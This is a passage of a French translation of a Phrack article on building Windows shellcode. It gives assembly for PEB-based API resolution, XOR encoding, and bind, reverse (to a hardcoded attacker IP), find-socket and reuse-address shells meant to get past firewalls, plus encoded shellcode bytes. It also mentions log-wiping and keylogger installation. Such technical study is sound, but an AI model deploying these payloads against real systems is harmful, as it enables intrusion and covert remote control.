==Phrack Inc.== Volume 0xXX, Issue 0x3e, Phile #0x07 of 0x10 |=-----------=[ Histoire et avancés des shellcodes Windows ]=-------------=| |=------------------------------------------------------------------------=| |=---------------=[ sk ]=-----------------=| |=------------------------=[ June 22nd, 2004 ]=---------------------------=| --[ Table des matières 1. Résumé 2. Introduction au shellcode a. Pourquoi un shellcode? b. Structure d'un shellcode Windows i. Récupérer EIP ii. Le déchiffreur iii. Récupérer les addresses des fonctions requises iv. Localiser l'addresse de base de Kernel32 v. Obtenir GetProcAddress() vi. Obtenir d’autres fonctions par nom vii. Lancer un shell c. Compiler notre shellcode 3. La connection a. Bindshell i. Implémentation d'un shellcode bindshell ii. Problèmes avec le shellcode bindshell b. Reverseshell i. Implémentation d'un shellcode reverseshell ii. Problèmes avec le shellcode reverseshell 4. Shellcode "One-way" a. Shellcode "Find socket" i. Problèmes avec le shellcode "find socket" b. Shellcode "Reuse address" i. Implémentation d'un shellcode "Reuse address" ii. Problèmes avec le shellcode "reuse address" c. Shellcode "Rebind socket" i. Implémentation d'un shellcode "Rebind socket" d. Autres shellcodes "one-way" 5. Transférer des fichiers via un shellcode a. Uploader un fichier avec debug.exe b. Uploader un fichier avec VBS c. Récupérer un fichier depuis la ligne de commande 6. Eviter la détection des IDS 7. Relancer le service vulnérable 8. La fin du shellcode? 9. Greetz! 10. Références 11. Le code --[ 1. Résumé Le firewall est partout sur Internet de nos jours. La plupart des exploits publics ne sont pas conçues pour un usage à travers un firewall car ce sont justes des proof of concept. En pratique nous rencontrerions des cibles avec des firewalls qui rendraient l'exploitation plus difficile. Il faut surmonter ces obstacles pour un réussir un pen-test. L'idée de cet article nous est venue lorsque nous devions prendre le contrôle d'une machine avec des règles de filtrage strictes. Bien que nous arrivions à atteindre le service vulnérable, les règles du firewall entre nous et le serveur rendaient tous les exploits classiques inutiles. L'objectif recherché était de trouver des techniques alternatives permettant aux pen-testers de contrôler une machine une fois le buffer overflow réussi. Réussi, dans le sens où il mènera en définitive à l'exécution de code arbitraire. Ces techniques doivent être efficaces là où les autres échouent avec les règles de filtrage les plus strictes. Dans notre recherche d'un moyen pour bypasser ces règles gênantes, nous avons étudié les différentes techniques des exploits publics et pourquoi elles échouent. Ensuite nous trouvâmes plusieurs mécanismes fonctionnant mais dépendants du service vulnérable. Bien que nous puissions contrôler le serveur grâce à ces techniques, nous avons poussé la recherche jusqu'à développer une technique générique indépendante du service qui peut être réutilisée dans la plupart des autres buffer overflows. Cet article commencera par la dissection d'un shellcode Win32 classique. Nous explorerons ensuite les techniques utilisées dans les codes sources de proof of concept pour permettre à l'attaquant de contrôler la cible, et leur limitations. Ensuite, nous présenterons quelque techniques alternatives que nous appelons "one-way shellcode" et comment elles permettent de bypasser les règles de filtrage. Finalement, nous discuterons d'un technique possible pour transférer un fichier depuis la ligne de commande sans casser la règle de filtrage. --[ 2. Introduction au shellcode Un exploit consiste généralement en deux composants principaux: 1. Une technique d'exploitation 2. Un payload (le code arbitraire) L'objectif de la partie exploitation est détourner le flux d'exécution du programme vulnérable. Nous pouvons réaliser cela via l'une de ces techniques: * Buffer overflow sur la pile * Buffer overflow sur le tas * Format string * Integer overflow * Corruption de la mémoire, etc. Même s'il se peut que nous utilisions une ou plusieurs de ces techniques d'exploitation pour contrôler le flot d'exécution d'un programme, chaque vulnérabilité demande une exploitation sur mesure. Toutes les vulnérabilités peuvent être déclanchées de différentes manières. Nous pouvons faire varier la taille du buffer ou le jeu de caractères pour déclencher l'overflow. Bien que nous puissions probablement utiliser la même technique pour des vulnérabilités d'une même classe, le code changera. Une fois le flot d'exécution contrôlé, nous voulons classiquement qu'il exécute notre code. Ainsi nous devons inclure ces code ou jeu d'instructions dans notre exploit. La partie du code qui nous permet d'exécuter le code arbitraire s'appelle le payload. Le payload peut virtuellement faire tout ce qu'un programme informatique peut faire avec les permissions du service vulnérable. Un payload qui vous délivre un shell s'appelle un shellcode. Il permet l'exécution de commandes interactivement. A l'opposé des techniques d'exploitation, un shellcode bien conçu peut être porté dans d’autres exploits. Nous essaierons de construire un tel shellcode. Une des exigences d'un shellcode est le shell et la capacité de l'utiliser via le réseau de façon interactive. --[ 2.a Pourquoi un shellcode? Pourquoi un shellcode? Simplement car c'est la manière la plus simple pour l'attaquant d'explorer le système ciblé. L'attaquant peut mapper le réseau local, pour pénétrer davantage dans d’autres ordinateurs. Un simple "net view /domain" sous Windows peut donner un aperçu intéressant des autres cibles potentielles. Un shell peut également permettre l'upload/download de fichiers/bases de données, ce qui est généralement demandé comme preuve d'un pen-test réussi. Vous pouvez aussi installer facilement un cheval de Troie, un keylogger, un sniffer, un vers d'entreprise, WinVNC, etc. Un vers d'entreprise peut être un vers d'ordinateurs qui a été écrit spécifiquement pour infecter d'autre machines du même domaine en utilisant les identifiants du contrôleur de domaine primaire. Un shell est utile pour relancer les services vulnérables. Le service continuera de tourner et le client sera satisfait. Mais plus important, relancer le service vulnérable permet en général d'attaquer celui-ci de nouveau. On peut aussi nettoyer les éventuelles trace laissées dans les fichiers log et les événements. Et il y a bien d’autres possibilités. Cependant, récupérer un shell n'est pas la seule chose que l'on puisse faire dans le payload. Comme l'a démontré LSD dans leur composant Win32 ASM, il est possible de créer un payload qui boucle en attente d'une commande de la part de l'attaquant. L'attaquant peut donner l'ordre au payload de créer une nouvelle connection, d'upload/download un fichier ou de récupérer un shell. Il y a aussi quelque autres stratégies de payload dans lesquelles celui-ci boucle en attente d'un payload additionnel. Dans tous les cas le payload doit communiquer avec l'attaquant. Bien que dans cet article nous utilisions un payload qui récupère un shell, les mécanismes décrits pour communiquer sont réutilisables avec d'autres stratégies de payload. --[ 2.b Structure d'un shellcode Windows Un shellcode commence d'habitude par déterminer où nous sommes durant l'exécution en récupérant EIP. Ensuite, il s'agit de décoder éventuellement le shellcode. On saute ensuite dans la zone mémoire décodée pour poursuivre l'exécution. Avant d'être en mesure de faire des choses utiles nous devons trouver les adresses de toutes les fonctions et autres API dont nous nous servirons plus tard dans le shellcode. Une fois cette étape réalisée on peut configurer une socket et finalement récupérer un shell. * Récupérer EIP * Décoder * Trouver les adresses des APIs * Mettre au point la socket * Récupérer le shell Voyons plus en détail ces différentes parties. --[ 2.b.i Récupérer EIP Nous voulons que notre shellcode soit aussi portable que possible. Pour cela, on évitera l'utilisation d'adresses fixes qui pourraient changer selon l'environnement. On utilisera donc l'adressage relatif autant que possible. Pour commencer, nous devons déterminer où nous nous situons en mémoire. Cette adresse sera notre adresse de base. Chaque variable ou fonction du shellcode sera relative a celle-ci. Pour la récupérer, on peut faire un CALL suivi d'un POP. Comme nous le savons, chaque appel de fonction place l'adresse de retour sur la pile. La première chose à faire une fois dans la fonction est un POP, qui mettra l'adresse de retour dans une registre. Comme on le voit ce dessous, EAX vaudra 451005. 450000: label1: pop eax 450005: ... (eax = 451005) 451000: call label1 ; on commence ici! 451005: Vous verrez probablement quelque chose de semblable dans d'autres shellcodes, mais qui a la même fonction. 450000: jmp label1 450002: label2: jmp cont 450004: label1: call label2 450009: cont: pop eax ... (eax = 450009) Un autre mécanisme intéressant utilisé pour obtenir EIP est de passer par les instructions FPU. Cette technique fut implémentée par Aaron Adams sur la liste de diffusion Vuln-Dev à propos d'une discussion sur la façon de réaliser un shellcode ASCII pure. Le code utilise les instructions fnstenv/fstenv pour sauver l'état de l'environnement FPU. fldz fstenv [esp-0Ch] pop ecx add cl, 0Ah nop ECX contiendra l'adresse d'EIP. Cependant, ces instructions généreront des caractères ASCII non standards. --[ 2.b.ii Le décodeur Un buffer overflow n'autorise généralement pas de "NULL car" ni quelques caractères spéciaux. On peut les éviter en chiffrant notre shellcode. Dans ce chiffrement, on va XOR chaque octet de notre shellcode avec une valeur prédéfinie. Durant l'exécution, un déchiffreur se chargera de convertir le reste du code en leurs véritables instructions en effectuant à nouveau un XOR sur celles-ci. Dans notre cas, on place le nombre d'octets à décoder dans ECX, tandis que EAX pointe sur le début du shellcode chiffré. Dans notre exemple la clé du chiffrement XOR sera 0x96. Libre à vous d'utiliser des chiffrements plus complexes, bien entendus. On aurait pu utiliser une clé de XOR de la taille d'un DWORD pour chiffrer 4 octets à la fois. On aurait pu aussi tronquer le code en chiffrant plusieurs tronçons à l'aide de différentes clés, dans le but d'éliminer les caractères interdits. xor ecx, ecx mov cl, 0C6h ; taille loop1: inc eax xor byte ptr [eax], 96h loop loop1 Le projet Metasploit (http://metasploit.com/) contient quelques chiffreurs très utiles qui méritent le coup d'oeil. --[ 2.b.iii Récupérer les adresses des fonctions Apres la phase de déchiffrage, on saute en mémoire au début du shellcode déchiffré. Avant que nous puissions faire quelque chose d'utile, nous devons déterminer les différentes adresses d'APIs qui serviront, et stocker ces dernières dans une "jump table". Aucune adresse fixe ne sera utilisée car elles varient selon les service packs. Pour obtenir l'adresse d'une API, on peut se servir de l'API "GetProcAddress()". En lui fournissant le nom d’une fonction, elle nous retourne son adresse. Pour obtenir l'adresse de "GetProcAddress()" elle-même, on peut chercher dans la table d'export de kernel32.dll, en mémoire. L'image de kernel32.dll est située à une adresse prédéfinie selon l'OS. * NT - 0x77f00000 * 2kSP2 & SP3 - 0x77e80000 * WinXP - 0x77e60000 Comme nous connaissons les adresses de base par défaut de kernel32.dll on peut faire un scan mémoire décroissant à partir de 0x77F00000 à la recherche des octets "MZ\x90". Kernel32 commence par la signature "MZ\x90" comme toutes les applications windows. Cette astuce était utilisée par High Speed Junky (HSJ) dans son exploit et elle fonctionne assez bien pour tous les OS ci dessus et tous les SP. Cependant kernel32.dll sur Windows 2000 SP4 est situé en 0x7C570000. Pour scanner la mémoire à partir de 0x77F00000, il faut mettre en place un except handler qui attrapera tout accès mémoire invalide. --[ 2.b.iv Localiser l'adresse de base de kernel32 Cependant, il existe une meilleure méthode pour récupérer l'adresse de base de kernel32. En passant par le sélecteur fs, on peut atteindre le PEB. En cherchant dans la structure PEB_LDR_DATA, on trouvera la liste des DLLs chargées par notre programme vulnérable. La séquence de DLLs chargée commence par NTDLL suivi de Kernel32. Donc en parcourant cette liste chaînée, on peut récupérer l'adresse de Kernel32. Cette technique a été publiée par des chercheurs dans VX-zine, et ensuite utilisée par LSD dans leur "Windows Assembly component". mov eax,fs:[30h] ; base PEB mov eax,[eax+0ch] ; PEB_LDR_DATA ; première entrée dans InInitializationOrderModuleList mov esi,[eax+1ch] lodsd ; on continue à la prochaine LIST_ENTRY mov ebx,[eax+08h] ; base de Kernel32 --[ 2.b.v Obtenir GetProcAddress() Une fois que nous avons l'adresse de Kernel32.dll, on peut trouver sa table d'export et chercher la chaîne "GetPocAddress". On peut aussi prendre le nombre total de fonctions exportées. A partir de ce nombre, on peut boucler jusqu'à trouver la chaîne. mov esi,dword ptr [ebx+3Ch] ;PE Header add esi,ebx mov esi,dword ptr [esi+78h] ;table d'export add esi,ebx mov edi,dword ptr [esi+20h] ;table de noms d'export add edi,ebx mov ecx,dword ptr [esi+14h] ;nombre de fonctions exportées push esi xor eax,eax ;compteur Pour chaque adresse dans la "jump table", on vérifie si le nom de destination correspond avec "GetProcAddress", sinon on incrémente EAX et on poursuit. Une fois trouvé, EAX contiendra le compteur. Grâce à cette formule, on obtient l'adresse de "GetProcAddress()". ProcAddr = (((compteur * 2) + Ordinal) * 4) + AddrTable + Kernel32Base On compte jusqu'a atteindre "GetProcAddress". On multiplie l'index par 2, que l'on ajoute à l'adresse de la table des ordinaux d'export. On pointe ici sur l'ordinal de "GetProcAddress()". On multiplie cette valeur par 4, que l'ajoute à l'adresse de la table d'export et la base de kernel32, et on obtient la véritable adresse de "GetProcAddress()". On peut employer cette technique pour obtenir l'adresse de n'importe quelle fonction exportée par kernel32. --[ 2.b.vi Obtenir les autres fonctions par leurs noms Une fois l'adresse de "GetProcAddress()" trouvée, on peut aisément obtenir les adresses des autres APIs. Afin d'utiliser les différentes fonctions requises d'une façon plus pratique, on construit (en fait ce code est tiré en grande partie de l'exploit de HSJ) une fonction qui prends en paramètre un nom de fonction et retourne son adresse. Pour utiliser cette fonction, ESI doit pointer sur le(s) nom(s) de(s) l'API(s) que l'ont veut charger et celui-ci doit être "NULL terminated". EDI doit pointer sur la "jump table". Une "jump table" est en fait un endroit ou l'on stocke toutes les adresses API dont on a besoin. ECX contient le nombre d'APIs que l'on souhaite obtenir. Dans cet exemple, on charge 3 APIs: mov edi,esi ;EDI est la sortie, notre "jump table" xor ecx,ecx mov cl,3 ;On charge 3 APIs call loadaddr La fonction "loadaddr" qui fait le travail: loadaddr: mov al,byte ptr [esi] inc esi test al,al jne loadaddr ; boucle jusqu'à trouver un NULL car; push ecx push edx push esi push ebx call edx ;GetProcAddress(DLL, API_Name); pop edx pop ecx stosd ; écrit la sortie dans EDI loop loadaddr ; boucle pour avoir les autre APIs ret --[ 2.b.vii Récupérer un shell Une fois que nous avons chargé toutes ces adresses API, on peut enfin accomplir des choses utiles. Pour récupérer un shell sous Windows, nous devons appeler l'API "CreateProcess()". Il faut mettre au point la structure STARTUPINFO de telle façon que l'entrée, la sortie et la sortie d'erreur standard soient redirigés vers la socket. On indique aussi qu'il ne doit pas y avoir de fenêtre. Ceci fait, un simple appel à CreateProcess lance "cmd.exe" et nous offre un shell windows. ;ecx vaut 0 mov byte ptr [ebp],44h ;STARTUPINFO size mov dword ptr [ebp+3Ch],ebx ;handle de sortie standard mov dword ptr [ebp+38h],ebx ;handle d'entrée standard mov dword ptr [ebp+40h],ebx ;handle de sortie d'erreur standard ;STARTF_USESTDHANDLES |STARTF_USESHOWWINDOW mov word ptr [ebp+2Ch],0101h lea eax,[ebp+44h] push eax push ebp push ecx push ecx push ecx inc ecx push ecx dec ecx push ecx push ecx push esi push ecx call dword ptr [edi-28] ;CreateProcess --[ 2.c Compiler notre shellcode La section Code à la fin de l'article contient le code source bind.asm qui est un shellcode complet en assembleur. Celui-ci créer un shell et le bind sur un port prédéfini. Pour compiler bind.asm: # tasm -l bind.asm ce qui produit 2 fichiers: 1. bind.obj - le fichier objet 2. bind.lst - listing assembleur Si on ouvre bin.obj avec un éditeur hexa, on verra que le code objet commence avec quelque chose de ce genre: 01) 80 0A 00 08 62 69 6E 64-2E 61 73 6D 62 88 20 00 ....bind.asmb. . 02) 00 00 1C 54 75 72 62 6F-20 41 73 73 65 6D 62 6C ...Turbo Assembl 03) 65 72 20 20 56 65 72 73-69 6F 6E 20 34 2E 31 99 er Version 4.1. 04) 88 10 00 40 E9 49 03 81-2F 08 62 69 6E 64 2E 61 ...@.I../.bind.a 05) 73 6D 2F 88 03 00 40 E9-4C 96 02 00 00 68 88 03 sm/...@.L....h.. 06) 00 40 A1 94 96 0C 00 05-5F 54 45 58 54 04 43 4F .@......_TEXT.CO 07) 44 45 96 98 07 00 A9 B3-01 02 03 01 FE 96 0C 00 DE.............. 08) 05 5F 44 41 54 41 04 44-41 54 41 C2 98 07 00 A9 ._DATA.DATA..... 09) 00 00 04 05 01 AE 96 06-00 04 46 4C 41 54 39 9A ..........FLAT9. 10) 02 00 06 5E 96 08 00 06-44 47 52 4F 55 50 8B 9A ...^....DGROUP.. 11) 04 00 07 FF 02 5A 88 04-00 40 A2 01 91 A0 B7 01 .....Z...@...... 12) 01 00 00 EB 02 EB 05 E8-F9 FF FF FF 58 83 C0 1B ............X... 13) ... 14) 5A 59 AB E2 EE C3 99 8A-07 00 C1 10 01 01 00 00 ZY.............. 15) 9C 6D 8E 06 D2 7C 26 F6-06 05 00 80 74 0E F7 06 .m...|&.....t... Notre shellcode commence avec le code hexa 0xEB, 0x02 comme en ligne 12 du dump ci-dessus, et se termine par 0xC3 comme en ligne 14. On a besoin d'un éditeur hexa pour supprimer les premiers 176 octets et les derniers 26. (Avec NASM ceci n'est pas nécessaire, mais l'auteur utilise TASM depuis sa période MS-DOS). Maintenant que nous avons le shellcode dans sa forme binaire, il nous faut construire un programme simple qui, à partir de ce fichier, produit la chaîne hexa C correspondante. Voir la section Code (xor.cpp) pour ce programme. La sortie de ce programme est notre shellcode en chaîne hexa C: # xor bind.obj BYTE shellcode[436] = "" "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01" ... "\xE2\xEE\xC3"; --[ 3 La connection Nous avons vu les briques de constructions classiques d'un shellcode. Mais nous n'avons pas couvert la partie connection du shellcode. Comme mentionné, un shellcode a besoin d'un shell et d'une connection pour un contrôle interactif. Nous voulons être à même d'envoyer n'importe quelle commande et de visualiser la sortie. Peu importe si nous récupérons un shell, transférons un fichier ou bouclons en attente d'autre commandes, il nous faut configurer une connection. Il existe trois techniques publiées: "Bindshell", "Revershell" et la "Find socket". On va examiner chacune d'entre elles, et leurs limitations. Différents exploits qui utilisent ces shellcode seront aussi montrés en exemples. --[ 3.a Bindshell Le shellcode bindshell est le plus populaire lorsqu'il s'agit d'exploits proof of concept. Le shellcode met au point une socket, la bind à un port spécifique et se place en écoute de connection. A l'acceptation d'une connection, on lance un shell. Les APIs suivantes sont utilisées pour ce type de shellcode: * WSASocket() * bind() * listen() * accept() Une chose importante à noter est l'utilisation de WSASocket() et non socket() pour créer une socket. L'utilisation de WSASocket creera une socket qui n'aura pas d'attribut "overlapped". Une telle socket peut être utilisée directement comme flux d'entrée/sortie/erreur pour l'API CreateProcess(). Cela évite l'utilisation d'un pipe anonyme pour obtenir les entrées/sorties d'un processus, ce qui se faisait dans les anciens shellcodes. La taille du shellcode rétrécit un peu via cette technique qui fut utilisée pour la première fois par David Litchfield. On peut trouver de nombreux shellcode bindshell sur Packetstorm Security en debuggant le shellcode de ces exploits: * slxploit.c * aspcode.c * aspx_brute.c --[ 3.a.1 Implémentation d'un shellcode bindshell mov ebx,eax mov word ptr [ebp],2 mov word ptr [ebp+2],5000h ;port mov dword ptr [ebp+4], 0 ;IP push 10h push ebp push ebx call dword ptr [edi-12] ;bind inc eax push eax push ebx call dword ptr [edi-8] ;listen (soc, 1) push eax push eax push ebx call dword ptr [edi-4] ;accept La compilation de bind.asm créera un shellcode (435 octets) qui fonctionnera avec tout les service pack. On peut tester le shellcode bindshell en utilisant un programme de test simple - testskode.cpp. Copiez le shellcode (en chaine C) généré par le programme xor et parsez-le avec testskode.cpp: BYTE shellcode[436] = "" "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01" ... // ici le port sur lequel on bind *(unsigned short *)&shellcode[0x134] = htons(1212) ^ 0x0000; void *ma = malloc(10000); memcpy(ma,shellcode,sizeof(shellcode)); __asm { mov eax,ma int 3 jmp eax } free(ma); Compiler et lancer testskod.cpp provoquera un break point juste avant le saut vers le shellcode. Si on laisse le processus poursuivre, il bindera le port 1212 et attendra d'accepter une connection. En utilisant netcat, on peut se connecter sur le port 1212 pour récupérer un shell. --[ 3.a.2 Problèmes avec le shellcode bindshell Si l'on utilise un tel shellcode sur un serveur derrière un firewall d'entreprise, cela ne fonctionnera pas. Même si nous avons exploité avec succès la vulnérabilité et exécuté notre shellcode, nous auront des difficultés pour se connecter au port bindé. En général, le firewall n'autorise des connections que sur les services populaires comme les ports 25, 53, 80 etc. Mais généralement ces ports sont déjà utilisés par d'autres applications. Parfois les règles de filtrages n’autorisent aucun de ces ports. Il nous faut envisager que le firewall bloque tous les ports, mis à part le port du service vulnérable. --[ 3.b Reverseshell Pour surmonter les limitations d'un shellcode bindshell, de nombreux exploits préfèrent utiliser un shellcode en connection inversé, que l'on appelle un reverseshell. Au lieu de se binder à un port en attente de connection, le shellcode se connecte à une ip prédéfinie et un port pour lui donner un shell. On doit dont inclure notre IP et notre port dans le shellcode. Il faut aussi lancer netcat ou similaire à l'avance, en mode écoute. Bien sur, on doit utiliser une adresse IP et un port accessible depuis la machine victime. Ainsi, généralement on utilise une IP public. Les APIs suivantes sont requises pour mettre au point ce type de connection: * WSASocket() * connect() On peut trouver de nombreux shellcode reverseshell sur Packetstorm Security en debuggant le shellcode de ces exploits: * jill.c * iis5asp_exp.c * sqludp.c * iis5htr_exp.c --[ 3.b.1 Implémentation d'un shellcode reverseshell push eax push eax push eax push eax inc eax push eax inc eax push eax call dword ptr [edi-8] ;WSASocketA mov ebx,eax mov word ptr [ebp],2 mov word ptr [ebp+2],5000h ;port en ordre de bit réseau mov dword ptr [ebp+4], 2901a8c0h ;IP en ordre de bit réseau push 10h push ebp push ebx call dword ptr [edi-4] ;connect Reverse.asm crééra un shellcode (384 octets) indépendant du service pack. Nous utiliserons ce shellcode dans notre exploit JRun/ColdFusion. Cependant il reste un problème. Cet exploit n'acceptera pas les NULL car. Il faut chiffrer notre shellcode avec un bouclier XOR. On peut se servir de xor.cpp pour chiffrer notre shellcode en utilisant le 3ème paramètre. D’abord on compile reverse.asm: # \tasm\bin\tasm -l reverse.asm Ensuite, on hex-édite reverse.obj pour obtenir notre shellcode, se référer au shellcode bindshell pour faire ceci. Ensuite on affiche le shellcode avec xor.cpp: # xor reverse.obj BYTE shellcode[384] = "" "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01" "\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30" "\x96\x40\xE2\xFA\xE8\x60\x00\x00\x00\x47\x65\x74\x50\x72\x6F\x63" ... Les premiers 36 octets du shellcode sont notre déchiffreur. Il a été spécialement conçu pour éviter les NULL. On garde cette partie du shellcode. Ensuite, on lance xor.cpp de nouveau avec un paramètre supplémentaire pour xorer le code avec 0x96. # xor reverse.obj 96 BYTE shellcode[384] = "" "\x7D\x94\x7D\x93\x7E\x6F\x69\x69\x69\xCE\x15\x56\x8D\x1B\x36\x97" "\x6A\x69\x69\x15\x72\x6A\x1D\x7A\xA5\x5F\xF0\x2F\xCD\x97\x16\xA6" "\x00\xD6\x74\x6C\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5" ... "\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55"; On prends la séquence d'octets à partir du 37ème jusqu'à la fin. Combinons le déchiffreur et le shellcode xoré, nous obtenons le véritable shellcode utilisable dans notre exploit. BYTE shellcode[384] = "" "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01" "\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30" "\x96\x40\xE2\xFA" "\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5" ... "\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55"; Notez que l'on modifie le port et l'IP dans le shellcode de la manière suivante: *(unsigned int *)&reverse[0x12f] = resolve(argv[1]) ^ 0x96969696; *(unsigned short *)&reverse[0x12a] = htons(atoi(argv[2])) ^ 0x9696; L'exploit JRun/ColdFusion est attaché dans la section Code (weiweip.pl). --[ 3.b.2 Problèmes avec le shellcode reverseshell Il n'est pas rare de tomber sur un serveur qui a été configuré pour bloquer les connections sortantes. Le firewall bloque généralement toute connection sortant de la DMZ. --[ 4 Shellcode One-Way En supposant que le firewall a été configuré avec les règles suivantes: * Blocage de tous les ports en écoute excepté les services * Blocage de toutes les connexions sortantes Y a t il un moyen de contrôler le serveur à distance? Dans certains cas, il est possible d'utiliser des ressources existantes dans le service vulnérable pour établir le contrôle. Par exemple, il se peut qu'il soit possible de hooker certaines fonctions dans le service vulnérable de telle façon que notre fonction prendra le main lors d'une connection de socket ou autre. La nouvelle fonction peut vérifier chaque paquet à la recherche d'une signature. Si c'est le cas, elle exécute la commande contenu à la suite de la signature dans le paquet. Dans le cas contraire on redonne la main à la fonction originale. On peut ensuite se connecter au service vulnérable avec notre signature pour enclencher l’exécution d'une commande. Déjà en 2001, le vers Code Red utilisait une sorte de hook de fonction pour deface un site web (http://www.eeye.com/html/Research/Advisories/AL20010717.html). Une autre alternative serait d'utiliser les ressources disponibles à partir du service vulnérable. On peut également patcher celui-ci pour trouer la procédure d'authentification. Cela peut être utilie pour des services tels que des base de données, telnet, ftp, SSH et consorts. Dans le cas d'un serveur Web, il est possible de créer des pages PHP/ASP/CGI qui permettent l'exécution de commandes. Le shellcode dans le lien suivant créer une page ASP, implémenté par Mikey (Michael Hendrickx): http://users.pandora.be/0xffffffce/scanit/tools/sc_aspcmd.c Le vers Code Red 2 utilise une méthode intéressante pour créer une backdoor sur un serveur IIS. Il créé un chemin virtuel sur le lecteur C: et D: du serveur vers l'arborescence web. Avec ces chemins virtuels, l'attaquant peut exécuter cmd.exe ce qui permet l'exécution de commande: http://www.eeye.com/html/research/advisories/AL20010804.html Cependant, ces implémentations sont dépendantes du service exploité. Nous espérons trouver un mécanisme générique pour bypasser les règles de filtrage qui soit portable pour un shellcode. En supposant que le point d’entré pour interagir avec le serveur est le port du service vulnérable, on appelle ces shellcode, des One-way shellcode( shellcode à sens unique): * "Find socket" (chercher la socket) * "Reuse address socket" (réutiliser l'adresse de la socket) * "Rebind socket" (rebinder la socket) --[ 4.a Shellcode "Find socket" Cette méthode fut documentée dans l'article de LSD sur le shellcode Unix (http://lsd-pl.net/unix_assembly.html). Bien que le code soit pour Unix, on peut utiliser la même technique dans le monde Windows. L'idée consiste à trouver la connection existante dont l'attaquant se servait durant l'attaque et de s'en servir pour faire transiter des données. La plupart des API WinSock requièrent seulement un descripteur de socket pour fonctionner. Ainsi, il nous faut trouver ce descripteur. Dans notre implémentation, on boucle à partir de 0x80. Ce nombre est choisi car les descripteur de socket sous 0x80 ne sont bien souvent pas en rapport avec notre connection. Par expérience, l'utilisation des descripteurs sous 0x80 avec les APIs Winsock crashe notre shellcode à cause d'un manque de place sur la pile. On obtient le port de destination de la connection pour chaque descripteur de socket. On le compare avec une valeur de référence hard-codé dans le shellcode. Si ça correspond, on a trouvé notre connection. Cependant, la socket n'est pas forcément de type non-overlapping. Selon le programme qui a créé la socket il se peut que l'on tombe sur une socket de type overlapping. Si c'est le cas, on ne peut pas l'utiliser directement comme handle d'entrée/sortie/erreur dans CreateProcess(). Pour communiquer avec ce type de socket, on peut utiliser un pipe anonyme. Ceci a été documenté par Dark Spyrit (http://www.phrack.org/show.php?p=55&a=15) et LSD (http://lsd-pl.net/windows_components.html). xor ebx,ebx mov bl,80h find: inc ebx mov dword ptr [ebp],10h lea eax,[ebp] push eax lea eax,[ebp+4] push eax push ebx ;socket call dword ptr [edi-4] ;getpeername cmp word ptr [ebp+6],1234h ;myport jne find found: push ebx ;socket Le shellcode "Find socket" fonctionne en comparant le port de destination de la socket avec un numéro de port connu. Ainsi, l'attaquant doit obtenir ce numéro de port avant d'envoyer le shellcode. Un appel à getsockname() sur la socket connectée permet cela. Notons qu'il est important dans ce type de shellcode que l'attaquant ne se situe pas sur une IP privée, car dans ce cas le NAT créera une nouvelle connection vers la victime durant l'attaque. Cette nouvelle connection aura un port source différent de celui sur votre machine. Ainsi, votre shellcode ne pourra jamais trouver la véritable connection. Une implémentation d'un shellcode "Find socket" se trouve dans findsock.asm dans la section Code. Il existe également un échantillon dans le fichier hellobug.pl, un exploit pour MS SQL découvert par Dave Aitel. --[ 4.a.1 Problèmes avec le shellcode "Find socket" "Find socket" pourrait être un shellcode parfait, mais dans certains cas, le descripteur de socket de la connection attaquante n'est plus disponible. Il se peut que la socket se soit fermé avant que le code vulnérable n'ait pu être atteint. Dans certains cas, le buffer overflow peut se situer dans un tout autre processus que celui de la socket. --[ 4.b Shellcode "Reuse address" Nous n'arrivons pas à trouver le descripteur de socket de notre connection dans la vulnérabilité que nous voulons exploiter, aussi il nous faut trouver un autre stratagème. Dans le pire scénario, le firewall n'autorise les connections entrante que sur un port, celui du service vulnérable. Ainsi si nous pouvions créer un bindshell qui se binderait véritablement sur ce port, on pourrait avoir notre shell en se connectant tout simplement sur ce port. En tant normal, nous ne sommes pas en mesure de binder sur un port qui l'a déjà été. Cependant, si nous activons l'option SO_REUSEADDR, il est possible de binder notre shellcode sur le même port que le service vulnérable. De plus, la plupart des applications bind simplement leur port sur l'interface INADDR_ANY, IIS inclut. Si nous connaissons l'IP du serveur, nous pouvons la spécifier lors d'un appel à bind() pour que nous puissions binder notre shellcode "prioritairement" par rapport au service vulnérable. En effet lorsque l'on bind sur une IP spécifique, on a la priorité sur un bind de type INADDR_ANY (0.0.0.0 dans netstat). Une fois ceci fait, il suffit de se connecter sur le port du service vulnérable pour obtenir un shell. Il est également pertinent de noter que sous Win32 tout utilisateur peut binder sur un port inférieur à 1024. Ainsi, on peut utiliser cette méthode même si l'on ne dispose que de droit IUSR ou IWAM. Si nous ne connaissons pas l'IP du serveur (par exemple il utilise le port forwarding vers une IP interne), on peut tout de même binder le processus sur INADDR_ANY. Cependant, cela signifie que nous aurons 2 processus attendant une connection sur le même port d’écoute sur la même interface. Par expérience, il faut parfois se connecter plusieurs fois pour avoir le shell. Cela s'explique du fait que l'autre processus peut parfois intercepter une connection. Les API utilisées pour créer un shellcode "reuse address": * WSASocketA() * setsockopt() * bind() * listen() * accept() --[ 4.b.1 Implémentation d'un shellcode "Reuse address" mov word ptr [ebp],2 push 4 push ebp push 4 ;SO_REUSEADDR push 0ffffh push ebx call dword ptr [edi-20] ;setsockopt mov word ptr [ebp+2],5000h ;port mov dword ptr [ebp+4], 0h ;IP, peut être 0 push 10h push ebp push ebx call dword ptr [edi-12] ;bind L'implémentation d'un shellcode "Reuse address" se situe dans reuse.asm (434 octets) dans la section Code. Un usage de ce type de shellcode est implémenté dans l'exploit reusewb.c. Cet exploit utilise la vulnérabilité NTDLL (WebDav) sur le serveur Web IIS. --[ 4.b.2 Problème avec un shellcode "reuse address" Certaines applications utilisent le flag SO_EXCLUSIVEADDRUSE, ce 